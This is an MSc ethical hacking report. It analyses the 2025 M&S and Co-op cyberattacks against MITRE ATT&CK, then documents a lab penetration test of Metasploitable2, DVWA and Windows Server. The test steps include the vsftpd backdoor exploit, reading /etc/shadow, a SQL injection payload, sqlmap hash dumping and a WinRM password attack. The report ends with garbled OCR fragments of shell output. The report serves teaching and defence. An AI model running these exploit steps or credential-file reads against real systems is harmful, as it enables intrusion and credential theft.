[image: University of Wales Trinity Saint David launches ‘One Planet ...]




Name: Aviral Tyagi
Student ID: 2530743
Course: MSc Cybersecurity and Digital Forensics
Module: Ethical Hacking
University: University of Wales, Trinity Saint David 






Contents
1.Introduction	2
2. Incident Summary and Timeline	2
3. MITRE ATT&CK Enterprise Mapping and Critical Analysis	4
4. Root Cause Analysis	6
5. Threat Actor Profile	6
6. Detection and Response Evaluation	6
7. Precautionary Arguments	7
7.1  MFA Technology:	7
7.2  Process Controls:	7
7.3  Detection Engineering:	7
7.4  Architecture:	8
7.5  Backup Strategy:	8
7.6  Third-Party Risk:	8
8. Conclusion	8
References	9
9. Rules of Engagement (RoE)	11
10. Lab Environment	11
10.1 Virtual Machines Setup	11
10.2 Kali Linux Network Configuration	12
10.3 Target VM IP Confirmation	12
11. Threat Emulation Plan — MITRE ATT&CK Mapping	14
12. Exploitation — Step by Step Attack Narrative	15
12.1 Exploit A — Metasploitable2: vsftpd 2.3.4 Backdoor (CVE-2011-2523)	15
12.2 Exploit B — OWASP BWA: SQL Injection & Database Exfiltration	20
12.3 Exploit C — Windows Server 2019: WinRM Credential Attack	25
13. Detection Gap Analysis	28
14. Containment & Safety Evidence	28
15. Executive Brief — Board Summary	28
References	29







[bookmark: _Toc227977592]1.Introduction
This report joins two pieces of work that are interrelated and discuss the modern cybersecurity threats both strategically and practically. Just as the retailers most familiar to the UK, Marks and Spencer, Co-op and Harrods, were struck by a wave of high profile cyberattacks in Spring 2025, revealing the extent to which attackers have abandoned technical adventures and shifted towards a far more challenging and difficult target, which is the exploitation of trust. The team that carried out these attacks, Scattered Spider, did not penetrate firewalls or use zero-day malware. Instead, they grabbed the phone, masqueraded as workers and negotiated their way out with those people who were supposed to guard such organisations. 
Task 1 looks at those real-world incidents within the framework of the MITRE ATT&CK Enterprise (v14). Beginning with the first vishing attack on the TCS helpdesk of M&S in February 2025, through to the DragonForce ransomware explosion that shut down the M&S e-commerce site in 46 days, the analysis aligns each link of the attack with a known adversary methodology, documented in literature. The analogy with the reaction of Co-op to the incident, where the speed of detection was the difference between a contained incident and a 300 million pound operational disaster, demonstrates that the difference between a contained incident and a 300 million pound operational disaster is often reduced to how quickly it is detected and architectural choices made before any attacker sets foot on the ground. The Cyber Monitoring Centre categorized the collective M&S and Co-op incidents as one incident in Category 2, and with a total financial loss of between £ 270 million and 440 million [6]. 
Task 2 is an application of that analytical knowledge. With an isolated VirtualBox lab environment designed to model a fictional UK retail company, ABCD Ltd, a designed red-team penetration test was performed on three intentionally vulnerable virtual machines, Metasploitable2, OWASP Broken Web Applications and a Windows Server 2019 instance. Three different exploits were performed an FTP backdoor with root access within less than a minute, an SQL injection that provided access to the complete customer database, and a WinRM credential attack that provided a remote administrator access to the Windows server. Every exploit is correlated with MITRE ATT&CK techniques, with a detection gap analysis as to why the attacks would remain undetected in an environment that is not well monitored. 
Put together, these two tasks constitute one and the same argumentation in varying directions. Regardless of whether the attack being examined is a real one that cost a big retailer hundreds of millions of pounds, or a recreation of typical attack paths in a laboratory environment, the result is the same: the vulnerabilities being used are not new, the methods are well documented, and the controls that would have averted them are not unfamiliar. Whether organisations are able to protect against these threats or not is not the question, but whether they want to or not.
[bookmark: _Toc227977593]2. Incident Summary and Timeline
The attacks on M and Co-op were not an isolated event, but rather a part of a larger, more organized operation to disrupt the UK retail infrastructure during the spring of 2025. Table 1 confirms via both UK parliamentary records and regulatory disclosures and reputable open-source reporting the key registered events that support this claim.
Table 1: Key Attack Timeline — M&S and Co-op Cyberattacks (Spring 2025)

	Period
	Organisation
	Event
	Source

	February 2025
	M&S
	Scattered Spider socially engineers TCS helpdesk. NTDS.dit extracted. Two-month dwell begins.
	[1][2]

	19–21 April 2025
	M&S
	Contactless payments and click-and-collect fail. First public indicator of operational disruption.
	[3][4]

	22 April 2025
	M&S
	Stock market disclosure. NCSC notified. External IR team engaged.
	[3][4]

	23 April 2025
	M&S
	DragonForce ransomware detonated on VMware ESXi. CEO notified via compromised employee email.
	[1][4]

	25 April 2025
	M&S
	All online purchasing suspended. 46-day ecommerce shutdown begins. ~£15M/week profit loss.
	[4][9]

	30 April 2025
	Co-op
	Co-op SOC detects unusual account behaviour. Systems taken offline within hours.
	[5][10]

	Early May 2025
	Co-op
	Data exfiltration confirmed. Double-extortion model activated.
	[5][7]

	May 2025
	Harrods
	Third UK luxury retailer reports attempted intrusion. Coordinated campaign confirmed.
	[6]

	10 June 2025
	M&S
	Partial online service restored after 46-day shutdown.
	[4]

	19–21 June 2025
	CMC
	Category 2 combined event classification. £270m–£440m total estimated impact.
	[6]

	8 July 2025
	Parliament
	M&S chairman Archie Norman confirms DragonForce attribution before parliamentary sub-committee.
	[3][7]

	10–11 July 2025
	NCA
	Four individuals aged 17–20 arrested across London, Staffordshire, and West Midlands.
	[8]

	16 July 2025
	Co-op
	CEO confirms all 6.5 million member records stolen. ICO review initiated.
	[5][8]
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Figure 1: M&S / Co-op attack chain — TIMELINE (Spring2025)

What is most interesting to observe during the period under consideration is that the time of detection of M&S was delayed by two months (February - April 2025). Attackers were at liberty to silently navigate the whole network without raising any alarm. It was not just an error in detection but a sign of a lack of behavioural monitoring on the Identity Infrastructure - in particular, no alerts were raised when there was NTDS.dit access, DCSync Operations and/or anomalous activity on Privileged Accounts [1][2].
[bookmark: _Toc227977594]3. MITRE ATT&CK Enterprise Mapping and Critical Analysis
This attack was logically and multi-level and has a seamless flow of the MITRE ATT&CK Enterprise kill chain. The three sources that have confirmed each of the techniques listed below include the NCSC guide [2], the CISA/FBI Scattered Spider advisory [13] and by industry reporting [1][11]. No zero days were used in this attack and all the 4 stages of the attack were using legitimate infrastructure, trust relationships or procedural vulnerabilities.
Table 2: MITRE ATT&CK TTP Mapping — 2025 M&S and Co-op Attacks

	#
	MITRE ID
	Tactic
	Technique
	Evidence

	1
	T1566.004
	Initial Access (TA0001)
	Phishing: Spearphishing Voice (Vishing)
	Attackers called TCS helpdesk impersonating M&S employees. Agents reset credentials without independent verification [2][13].

	2
	T1598 / T1656
	Reconnaissance / Resource Dev.
	Gather Victim Identity Info / Impersonation
	Employee names, job titles, and internal terminology sourced from LinkedIn and leaked credential datasets prior to calls [1][11].

	3
	T1078.002
	Persistence (TA0003)
	Valid Accounts: Domain Accounts
	Legitimate domain credentials obtained post-helpdesk manipulation. Used to authenticate across VPN and remote access portals [2].

	4
	T1003.003
	Credential Access (TA0006)
	OS Credential Dumping: NTDS
	NTDS.dit extracted at M&S in February 2025 — two months before ransomware detonation. Yielded password hashes for the entire domain [1].

	5
	T1219
	Persistence (TA0003)
	Remote Access Software
	Legitimate RMM tools (AnyDesk, ConnectWise) deployed under guise of IT support. Whitelisted by EDR. Invisible to conventional detection [13].

	6
	T1562.001
	Defence Evasion (TA0005)
	Impair Defences: Disable EDR (BYOVD)
	Signed but vulnerable kernel drivers deployed to achieve SYSTEM privileges and terminate EDR processes. Rendered defenders blind [13].

	7
	T1087 / T1069
	Discovery (TA0007)
	Account / Permission Groups Discovery
	Active Directory groups, service accounts, and admin roles enumerated. Slack and Teams channels monitored for IR activity [13].

	8
	T1021.001
	Lateral Movement (TA0008)
	Remote Services: Remote Desktop Protocol
	Domain credentials used to move laterally toward VMware ESXi management layer via RDP across corporate network [1][2].

	9
	T1567.002
	Exfiltration (TA0010)
	Exfiltration Over Web Service: Cloud Storage
	Customer and business data exfiltrated to attacker-controlled cloud storage before ransomware detonation. Double-extortion enabled [5][7].

	10
	T1486
	Impact (TA0040)
	Data Encrypted for Impact
	DragonForce ransomware detonated against ESXi hypervisor, encrypting multiple VMs simultaneously. Entire ecommerce stack disabled [1][3].

	11
	T1114
	Collection (TA0009)
	Email Collection
	Exchange, Teams, and Slack communications monitored in real time. Allowed attackers to track IR progress and evade detection [13].

	12
	T1136
	Persistence (TA0003)
	Create Account
	New privileged accounts and MFA-enrolled attacker devices created to maintain access after credential resets [13].
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Figure 2: M&S / Co-op attack chain — MITRE ATT&CK enterprise mapping
Three methods mentioned below are worth brooding and analysis. The former is the T1003.003 (NTDS.dit extraction) which is the most important event in the M&S kill chain. By extracting the NTDS.dit file, an attacker is given offline access to the password hashes of all account domains in the system - this implies that at that point, the attacker can fully control the domain. NO SIEM rule was in the case of DCSync an absolutely critical gap [1][2]. 
Secondly, T1562.001 (BYOVD/EDR killing) outlines the fact that there was no alert in the period of two months dwell. A signed kernel driver was used by the attackers to kill endpoint detection processes. So, after EDR was shut down, the attackers would go unnoticed by the most popular enterprise defense layer [13]. 
Thirdly, T1114 (gathering of email and messaging) is highly underestimated. With the help of Teams and Slack, attackers could observe the real-time reaction of the defender to them by observing them through Teams and Slack when the intruder was active. This is not reconnaissance but rather, active counter-intelligence [13].
[bookmark: _Toc227977595]4. Root Cause Analysis
The lack of identity assurance (governance failure) was the main cause of technical issues faced by Marks and Spencer (M&S). Privileged accounts were assigned to TCS without any verification and multi-factor authentication (MFA) or credential resets could be done through a single phone call. The two factors were quite effective in reducing the usage of strong, or two factor authentication, to a knowledge based check or the likes, and an easy point of entry, which many other attacks by Scattered Spider have already been capable of exploiting [2][13]. 
The network architecture of M&S enhanced the compromise even more. The close integrative characteristic of the architecture did not separate domain account access with the access to access the ESXi management layer which was translated into a direct compromise of infrastructure as soon as they compromised an NTDS.dit file. When attackers had gained access to the file, they could upgrade their level of privileges and horizontally to the virtualisation layer with minimal to no opposition [4][6]. Comparatively, the Co-op (another retailer) was much less prone to the lateral movement owing to a much more segmented network architecture. This demonstrates that the influence of architectural controls has a direct bearing on the effects of a breach [10]. 
The two months duration that the attackers had been living inside M&S gives insight into the total invisibility of identity-based detection features in M&S. No visibility was made to typical attack patterns, including DCSync, NTDS access, creation of privileged accounts, or RMM deployment. The two months dwell is an indication of total lack of behavioural detection - no DCSync, NTDS access or RMM deployment alerts [2][13]. 
[bookmark: _Toc227977596]5. Threat Actor Profile
The two key participants in the attack included Scattered Spider who did gain access, and DragonForce who was offering ransomware through a RaaS arrangement. This separation of functions--access and extortion--produced efficiencies along with the same time that it subdivided responsibilities, making attribution and enforcement even more challenging [1][13][16]. 
The activities of Scattered Spider are driven by finances and have attacked companies such as MGM Resorts as well as Caesars Entertainment. Their main advantage is not their technical complexity as they are able to leverage the social engineering at scale with a profound insight into the enterprise IT and support processes. According to CISA, they are considered a trust exploiting actor, i.e., they target organisations via their procedures more than by their technical vulnerabilities, thus highly effective in case of organisations with a weak identity governance [13]. 
The arrests that occurred in England in July 2025 represent a new, decentralized form of recruitment whereby the young English-speaking people are recruited via online communities. This can be called the democratisation of capabilities i.e. the low-skilled actors are able to make high-impact attacks by using the shared techniques [8][19]. 
[bookmark: _Toc227977597]6. Detection and Response Evaluation
The most evident finding of this analysis is the difference between M&S and Co-op. Table 3 is an outright comparison of the major incident response dimensions.


Table 3: Comparative Incident Analysis — M&S vs. Co-op

	Dimension
	M&S
	Co-op

	Primary Impact
	46-day ecommerce shutdown. ~£300M operating profit reduction [4][9].
	6.5M member records exfiltrated. No operational shutdown [5][8].

	Detection Speed
	~2 months dwell time. Ransomware detonated before discovery [1][2].
	SOC detected anomalous activity within hours. Ransomware prevented [10].

	Network Architecture
	Flat architecture. Compromise of admin layer cascaded to entire ecommerce stack [4][6].
	Stronger segmentation. Breach confined to narrower blast radius [5][6].

	Recovery
	46 days to partial restoration. No tested BCP for ransomware scenario evident [4].
	Faster operational recovery. Major data loss still occurred [5].

	Regulatory Exposure
	GDPR enforcement by ICO. Parliamentary scrutiny. Investor claims [3][7].
	ICO reviewing breach of 6.5M records under GDPR Art. 33 [5][8].

	Key Lesson
	Detection speed determines whether an identity breach becomes operational collapse.
	Faster detection limits service downtime but does not prevent data loss once exfiltration begins.



[bookmark: _Toc227977598]7. Precautionary Arguments
The arguments presented below are organized in a critical format: each point of failure is identified and a countermeasure is presented on how a countermeasure would have interrupted the chain of attack at that point had it been implemented.
[bookmark: _Toc227977599]7.1  MFA Technology: The Case of FIDO2 The origin of the breach of the M&S was not a software issue, it was a phone call. Scattered Spider dialed the TCS helpdesk, and convinced the operator to present credentials that were reset. This is exactly how it works since the majority of MFA implementations are by design phone-resettable. Hardware tokens (FIDO2) completely disrupt this chain: the token cryptographically associates with a particular domain and device and none of the above convincing phone calls can generate a usable token. This is clear in the NCSC statement - FIDO2 is the only MFA standard that is resistant to resets by vishing [2][13]. Implementing it on privileged accounts at M&S would have rendered the initial social engineering attack pointless.
[bookmark: _Toc227977600]7.2  Process Controls: You Can Reset Your Credential twice without FIDO2 This attack can have been prevented at the helpdesk with a simple procedural change. Only the claim of the caller was used to process the MFA reset, without any further actions like a callback or secondary verification, or even a manager signature. The need to call back to a pre-registered phone number or a second team member increases a verification process that is difficult to overcome through social engineering. This is not a technology investment, it is a policy decision which has no cost attached to it. This gap is specifically mentioned in the guidance by the NCSC given after these incidents and is noted as one of the most fixable failures in the M&S chain [2].
[bookmark: _Toc227977601]7.3  Detection Engineering: DCSync and NTDS.dit Access Detection of DCSync and NTDS.dit Access Two months later, the NTDS.dit extraction in February 2025 and the ransomware detonation in April, the detection. It is not a short window, that is ample time to plan, prepare and study the target in details. What enabled this is that there are no SIEM rules at all in one of the best-documented attack indicators in Windows environments: DCSync. Microsoft Defender for Identity comes with an inbuilt detection of DCSync operations. It was not activated, or not set to alarm. One detection rule of NTDS.dit access - a file that no legitimate process is accessing in bulk - would have raised the alarm about the compromise within hours of its occurrence [1][2][12].
[bookmark: _Toc227977602]7.4  Architecture: ESXi Isolation and Tier 0 Separation DragonForce specifically targeted VMware ESXi, by design, which means that by encrypting one hypervisor, all the virtual machines that it hosts are brought to a halt in a single attack, making it the most impactful single target in most enterprise networks. At M&S, the route between the compromised domain credentials and ESXi management did not have any obstacles. This is a failure on the part of architecture. ESXi administration interfaces must be considered Tier 0 assets: they are segregated to a special VLAN, and can only be accessed via a distinct administrative network, and with authentication credentials that are completely independent of the overall domain. With that, the stolen NTDS.dit hashes would have provided attackers with no path into the virtualisation layer [1][4].
[bookmark: _Toc227977603]7.5  Backup Strategy: Why 46 Days of Downtime Was Avoidable A recovery time of 46 days indicates one of two possibilities: encrypted backups with live systems, or untested backups that were only tested at levels that were less than the size required to restore an entire ESXi environment. Neither of the results is a good practice. The 3-2-1-1-0 backup model, where two media types have three copies of data, one offsite, one offline and immutable and zero unverified restores is specifically designed to ensure that recovery after ransomware can be achieved in days, rather than weeks. There was no financial cost of failing to adopt such a model: M&S was making a loss of about £15 million per week in profit during the shutdown [4][22].
[bookmark: _Toc227977604]7.6  Third-Party Risk: Vendor Access Should Not Be a Weak Link The TCS helpdesk could reset privileged domain credentials - a high capacity of access by a third-party provider who is operating under another management system. This is one of the typical vulnerabilities in enterprise security: The privileged access of internal personnel is strictly regulated, and there is no distinction between the same ability of vendors and a support role instead of a threat. This entry point would have been either blocked or become immediately readable in the event of abuse had either just-in-time (JIT) access provisioning, full audit logging, or periodic review of third-party account access been in place [1][2][13].
[bookmark: _Toc227977605]8. Conclusion
The beauty of the M&S and Co-op attacks was not the technical sophistication of the attacks, but rather the fact that the most basic controls were absent and the attacks were able to take place, even before Scattered Spider picked up the phone. The initial check of identity governance was a failure: the helpdesk agent of the third party re-created privileged credentials without further checking. The whole sequence which occurred after, the compromising of the domain, the two months of residing, the ransomware explosion were all the outcomes of that one procedural slit. It was well documented, the intruders were of average ability and yet the cost to the two organisations was estimated to be between 270 million and 440 million of money [6]. 
All the techniques listed in Table 2 are mentioned in the CISA and FBI advisory on Scattered Spider - which had been published earlier than these attacks. All this was no secret. The TTPs were reported and the threat actor was identified and the suggested defences were made publicly accessible. It is what makes these incidents especially didactic: the organisations did not get outsmarted by a more technologically advanced opponent. This was compromised by weaknesses they had which were already dealt with by the existing guidance [13]. 
Section 7 lists six attack-chain points where a variant decision-making (technical or procedural) would have had a material difference. Off some of these, such as FIDO2 rollout or ESXi segmentation, must be actually invested. Other options, such as dual-approval when helpdesk resets are needed or a DCSync alert should be enabled in the Microsoft Defender for Identity, need nearly no approval. The total cost of the M&S and Co-op incidents, which was estimated at a conservative of between £270 million and 440 million, answers the question of whether such controls were worthwhile to be implemented [6].
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ABCD Ltd — Red Team Engagement Report

Task 2: Complete Penetration Testing


[bookmark: _Toc227977607]9. Rules of Engagement (RoE)
	Field
	Detail

	Engagement Type
	Black-box Penetration Test / Red Team Simulation

	Client
	ABCD Ltd (Simulated Academic Lab)

	Scope
	192.168.56.0/24 — VirtualBox Host-Only Network only

	Excluded Systems
	Host PC, any external internet systems

	Permitted Techniques
	Scanning, exploitation, credential attacks, post-exploitation

	Prohibited
	DoS attacks, data destruction, external systems

	Environment Isolation
	Fully isolated — no internet exposure for target VMs

	Kill Switch
	VirtualBox Host-Only adapter disabled immediately if needed

	Legal Basis
	Academic assessment — controlled lab — no real systems targeted

	Date
	20 April 2026



[bookmark: _Toc227977608]10. Lab Environment
[bookmark: _Toc227977609]10.1 Virtual Machines Setup
The lab was built using Oracle VirtualBox. All target VMs were configured on a Host-Only network adapter (192.168.56.0/24). The screenshot below shows the VirtualBox Manager with all VMs visible.
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Figure 1: VirtualBox Manager showing all lab VMs — Kali, Metasploitable2, OWASP BWA, WinServer2019

	VM
	IP Address
	Role
	Key Services

	Kali Linux 2025.4 (Attacker)
	192.168.56.107
	Attacker Machine
	Metasploit, SQLMap, Netexec, Nmap

	Metasploitable2
	192.168.56.105
	VM-2: Vulnerable Linux Server
	FTP vsftpd 2.3.4, SSH, HTTP, MySQL

	OWASP BWA 1.2
	192.168.56.102
	VM-3: Vulnerable Web App Server
	Apache 2.2.14, PHP 5.3.2, DVWA, MySQL

	Windows Server 2019
	192.168.56.106
	VM-1: Windows Server
	SMB (445), WinRM (5985), MSRPC (135)



[image: ]
Figure 3: VirtualBox Manager showing all lab VMs — Kali, Metasploitable2, OWASP BWA, WinServer2019
[bookmark: _Toc227977610]10.2 Kali Linux Network Configuration
The ip addr command confirmed Kali had two adapters: eth0 (NAT, 10.0.2.15) for Kali internet only, and eth1 (Host-Only, 192.168.56.107) to communicate with target VMs.
[image: ]
Figure 2: Kali Linux ip addr output — eth1 on 192.168.56.107 (Host-Only) confirmed

[bookmark: _Toc227977611]10.3 Target VM IP Confirmation
OWASP BWA ifconfig confirmed its IP as 192.168.56.102:
[image: ]
Figure 3: OWASP BWA ifconfig — IP 192.168.56.102 confirmed

Windows Server 2019 ipconfig confirmed its IP as 192.168.56.106:
[image: ]
Figure 4: WinServer2019 ipconfig — IP 192.168.56.106 confirmed



[bookmark: _Toc227977612]11. Threat Emulation Plan — MITRE ATT&CK Mapping
	Phase
	Technique
	ATT&CK ID
	Target

	Reconnaissance
	Network Service Scanning
	T1046
	All VMs

	Initial Access
	Exploit Public-Facing App (FTP Backdoor)
	T1190
	Metasploitable2

	Execution
	Unix Shell via Backdoor
	T1059.004
	Metasploitable2

	Credential Access
	OS Credential Dumping (/etc/shadow)
	T1003
	Metasploitable2

	Initial Access
	Exploit Public-Facing App (SQL Injection)
	T1190
	OWASP BWA

	Collection
	Database Exfiltration via SQLMap
	T1005
	OWASP BWA

	Credential Access
	Password Cracking (MD5 hashes)
	T1110.002
	OWASP BWA

	Lateral Movement
	Remote Services: WinRM
	T1021.006
	WinServer2019

	Execution
	Remote Command Execution via WinRM
	T1059.003
	WinServer2019

	Discovery
	System Information Discovery
	T1082
	All VMs





[bookmark: _Toc227977613]12. Exploitation — Step by Step Attack Narrative
[bookmark: _Toc227977614]12.1 Exploit A — Metasploitable2: vsftpd 2.3.4 Backdoor (CVE-2011-2523)
MITRE: T1190, T1059.004 | Tool: Metasploit Framework

Step 1: Launched Metasploit and loaded the vsftpd exploit module
Opened msfconsole, then selected exploit/unix/ftp/vsftpd_234_backdoor, set RHOSTS to 192.168.56.105 and ran the exploit. The backdoor triggered immediately — a root shell opened on port 6200.
[image: ]
Figure 5: msfconsole started and vsftpd exploit module selected

[image: ]
Figure 6: Exploit run — Backdoor spawned, UID uid=0(root) — Root shell opened on port 6200

Step 2: Confirmed root access — whoami, hostname, id, uname -a
After getting the shell, ran identity commands to confirm full root-level control of Metasploitable2.
[image: ]
Figure 7: whoami = root, hostname = metasploitable, id = uid=0(root) gid=0(root)

[image: ]
Figure 8: uname -a confirmed Linux metasploitable 2.6.24-16-server — full OS details

Step 3: Retrieved /etc/passwd — all system users exposed
cat /etc/passwd showed all user accounts on the system including msfadmin, postgres, mysql, tomcat — confirming full read access to system files.
[image: ]
Figure 9: cat /etc/passwd — all system users revealed including service accounts

Step 4: Retrieved /etc/shadow — password hashes stolen
cat /etc/shadow retrieved all password hashes for every user on the system. This is the most sensitive credential file on Linux — only readable by root.
[image: ]
Figure 10: cat /etc/shadow — password hashes for all accounts including klog, msfadmin, postgres, mysql

Step 5: Listed /root directory contents
ls /root showed files in the root home directory — Desktop, reset_logs.sh, vnc.log — confirming unrestricted access to the administrator's files.
[image: ]
Figure 11: ls /root — root home directory contents retrieved

Step 6: Exited the shell
exit command closed the session. Metasploit confirmed: Command shell session 1 closed.
[image: ]
Figure 12: exit — shell session closed, back to Metasploit prompt

	Command
	Result
	Significance

	whoami
	root
	Confirmed full root-level access

	hostname
	metasploitable
	Confirmed target machine identity

	id
	uid=0(root) gid=0(root)
	Highest privilege level on Linux

	uname -a
	Linux metasploitable 2.6.24-16-server
	OS version confirmed

	cat /etc/shadow
	All password hashes retrieved
	Critical credential theft

	ls /root
	Desktop, reset_logs.sh, vnc.log
	Root home directory accessed





[bookmark: _Toc227977615]12.2 Exploit B — OWASP BWA: SQL Injection & Database Exfiltration
MITRE: T1190, T1005, T1110.002 | Tool: SQLMap, Firefox

Step 1: Accessed DVWA and logged in
Opened Firefox and navigated to http://192.168.56.102/dvwa. Logged in with admin/password credentials.
[image: ]
Figure 13: DVWA login page at http://192.168.56.102/dvwa — logged in as admin

Step 2: Set DVWA Security Level to Low
Navigated to DVWA Security page and set security level to Low to enable the SQL injection vulnerability for testing.
[image: ]
Figure 14: DVWA Security page — Security Level set to Low, PHPIDS disabled

Step 3: Manual SQL Injection Test — Confirmed Vulnerability
Went to SQL Injection page. First entered ID=1 which returned one user. Then entered the payload 1' OR '1'='1 which returned ALL 6 users — confirming the injection point was vulnerable.
[image: ]
Figure 15: ID=1 entered — only admin returned, confirming query works

[image: ]
Figure 16: Payload 1' OR '1'='1 entered — all 6 users returned, SQL injection confirmed

Step 4: Retrieved Session Cookie for SQLMap
Opened Firefox Developer Tools (F12) and went to Storage tab > Cookies. Retrieved PHPSESSID value to authenticate SQLMap requests.
[image: ]
Figure 17: Firefox DevTools Storage tab — PHPSESSID cookie retrieved for SQLMap authentication

Step 5: SQLMap — Backend Database Identified
Ran SQLMap with the session cookie. SQLMap tested multiple injection types and confirmed MySQL backend. Four injection methods found: boolean-based blind, error-based, time-based blind, and UNION query.
[image: ]
Figure 18: SQLMap identified MySQL backend, found 4 injection types, listed 2 databases: dvwa and information_schema

Step 6: SQLMap — Dumped Users Table
SQLMap dumped the users table from the dvwa database. All 6 user records retrieved with MD5 password hashes. SQLMap then automatically cracked all 6 hashes using dictionary attack.
[image: ]
Figure 19: SQLMap injection points confirmed — boolean-based, error-based, time-based, UNION query all successful

[image: ]
Figure 20: All 6 user passwords cracked — admin:admin, gordonb:abc123, 1337:charley, pablo:letmein, smithy:password, user:user

[image: ]
Figure 21: OWASP BWA nmap scan — port 80 Apache 2.2.14, port 443 SSL, port 8080 Tomcat confirmed open

	Username
	Password (Cracked)
	Hash (MD5)

	admin
	admin
	21232f297a57a5a743894a0e4a801fc3

	gordonb
	abc123
	e99a18c428cb38d5f260853678922e03

	1337
	charley
	8d3533d75ae2c3966d7e0d4fcc69216b

	pablo
	letmein
	0d107d09f5bbe40cade3de5c71e9e9b7

	smithy
	password
	5f4dcc3b5aa765d61d8327deb882cf99

	user
	user
	ee11cbb19052e40b07aac0ca060c23ee





[bookmark: _Toc227977616]12.3 Exploit C — Windows Server 2019: WinRM Credential Attack
MITRE: T1021.006, T1110, T1059.003 | Tool: Nmap, Netexec

Step 1: Scanned Windows Server — Firewall Initially Blocking
Ran nmap against WinServer2019 (192.168.56.106). Initial scan showed ports filtered by Windows Firewall. After disabling the firewall via PowerShell on WinServer, the second scan showed ports 135, 139, 445 open. Also discovered port 5985 (WinRM) which became the attack vector.
[image: ]
Figure 22: First nmap — ports filtered (firewall on). Second nmap — ports 135, 139, 445 open. EternalBlue check showed port 5985 WinRM open

Step 2: WinRM Authentication Attack with Netexec
Used Netexec to authenticate against WinRM (port 5985). Multiple passwords attempted. The correct credentials Administrator:Aviral123 returned [+] Pwn3d! status — confirming full administrative access.
[image: ]
Figure 23: Netexec WinRM attack — Administrator:Aviral123 returned (Pwn3d!) — full admin access confirmed

Step 3: Remote Command Execution — whoami on Windows Server
Executed whoami command remotely via WinRM. Output confirmed: win-cpsnev0uaa1\administrator — Administrator-level command execution on Windows Server 2019.
[image: ]
Figure 24: netexec -x whoami — win-cpsnev0uaa1\administrator returned — Administrator shell confirmed

Step 4: Enumerated Windows User Accounts
Executed net user command remotely to enumerate all Windows user accounts on the server — revealing Administrator, DefaultAccount, Guest, and WDAGUtilityAccount.
[image: ]
Figure 25: netexec -x net user — all Windows accounts enumerated: Administrator, DefaultAccount, Guest, WDAGUtilityAccount

	Command Executed Remotely
	Output
	Significance

	whoami
	win-cpsnev0uaa1\administrator
	Administrator-level execution confirmed

	ipconfig
	IPv4: 192.168.56.106
	Target IP verified remotely

	net user
	Administrator, DefaultAccount, Guest, WDAGUtilityAccount
	Full user account enumeration

	Netexec result
	[+] WIN-CPSNEV0UAA1\Administrator:Aviral123 (Pwn3d!)
	Complete server compromise confirmed





[bookmark: _Toc227977617]13. Detection Gap Analysis
	Exploit
	Control That Failed
	Why It Was Not Detected
	What Should Have Detected It

	vsftpd Backdoor
	No IDS/IPS; no file integrity monitoring
	Port 6200 shell not monitored; no alert on unusual FTP banner response
	Snort/Suricata rule for port 6200; file integrity monitoring on vsftpd binary

	SQL Injection
	No WAF; no parameterised queries; DVWA security=Low
	SQLMap requests looked like normal HTTP GET — no rate limiting or WAF to block SQL metacharacters
	WAF blocking SQL chars; parameterised queries; PHPIDS enabled; rate limiting

	WinRM Credential Attack
	No account lockout; weak password; WinRM exposed; no MFA
	Multiple failed logins not alerted; no lockout after 5 attempts; no MFA to block even with valid credentials
	Account lockout policy; MFA on admin accounts; SIEM alert on multiple WinRM failures



[bookmark: _Toc227977618]14. Containment & Safety Evidence
1. All VMs ran exclusively on VirtualBox Host-Only Adapter (192.168.56.0/24) — completely isolated from internet
1. Kali NAT adapter (eth0: 10.0.2.15) only gave Kali itself internet access — target VMs had none
1. VirtualBox snapshots taken before each intrusive exploit step
1. No real production systems or real customer data accessed at any point
1. Target VMs are intentionally vulnerable research platforms (Metasploitable2, OWASP BWA)
1. WinServer2019 was a personally controlled lab VM — no third-party credentials used

[bookmark: _Toc227977619]15. Executive Brief — Board Summary
What We Found
	Risk
	Severity
	Business Impact

	Unpatched FTP backdoor on Linux server
	CRITICAL
	Full server takeover in under 60 seconds with zero credentials needed

	SQL Injection in web application
	CRITICAL
	Entire customer database stolen — all passwords readable

	Weak Windows Admin password + exposed WinRM
	HIGH
	Remote Administrator access — attacker can run any command on Windows Server



Priority Recommendations
	Priority
	Action
	Effort

	1 — Immediate
	Replace unpatched Metasploitable2 with supported OS — eliminate vsftpd backdoor
	Low

	2 — Immediate
	Implement parameterised queries in all web apps; deploy WAF
	Medium

	3 — This Week
	Enforce strong passwords (14+ chars); enable account lockout after 5 attempts
	Low

	4 — This Month
	Deploy MFA on all Administrator accounts including WinRM access
	Medium

	5 — This Month
	Deploy SIEM (Splunk/ELK) and IDS (Snort/Suricata) for real-time alerting
	High

	6 — This Quarter
	Implement network segmentation to prevent lateral movement post-compromise
	High
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syslog
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Ftp:+:14685:
postgres: $1$Ru351k. x$MgQgZUu05pAcUVFIhFcYe/: 14685:0:99999:
mysql:!:14685:0:99999:7

tomcatss
distccd:*:14698:0:99999:7 :

+$1$HESUOXTHSK . 03693DGOXTLQKKPMUEZ0: 14699:0:99999: 7
$1$kR3ue7IZ$76GXELDUPrSOhp6CIZ3Bu// 1147151019999
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1s /root

Desktop

reset_logs.sh

vnc.log
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- sty vaisspuus/news: /bin/sh
10710: uucp: /var/spool/uucp: /bin/sh
/h) /th/sh

i/bin/sh

/var/run/ircd: /bin/sh

:x:100:101 :: /var/1ib/libuuid:/bin/sh
/nonexistent:/bin/false
/home/syslog: /bin/false
home/Klog: /bin/false

:x:107:65534 :: /home/Ftp: /bin/false
postgres:x:108:117:PostgresQL administrator,
109:118:MysQL Server,

o ::/:/bin/false
user:x:1001:1001:just a user, 111,
service home/servic

telnetd nonexistent: /bin/false
proftpd:x:113:65534 :: /var/run/proftpd: /bin/false
statd:x:114:65534 :: /var/1ib/nfs:/bin/false
“[[A"[[Bexit

sh: line 14: exit: command not found
exit

[#] 192.168.56.105 - Command shell session 1 closed.
nsf exploit(unix/ftp/vsftpd_234_backdoor) > I

nats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
5534: 65534 :nobody: /nonexistent: /bin/sh

:/var/lib/postgresql: /bin/bash
:/var/lib/mysql:/bin/false
usr/share/toncats.5: /bin/false

:/home/user: /bin/bash
/bin/bash
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443/tcp open ssl/http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.
2.14 OpensSL ... )

8080/tcp open http  Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:5F:19:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
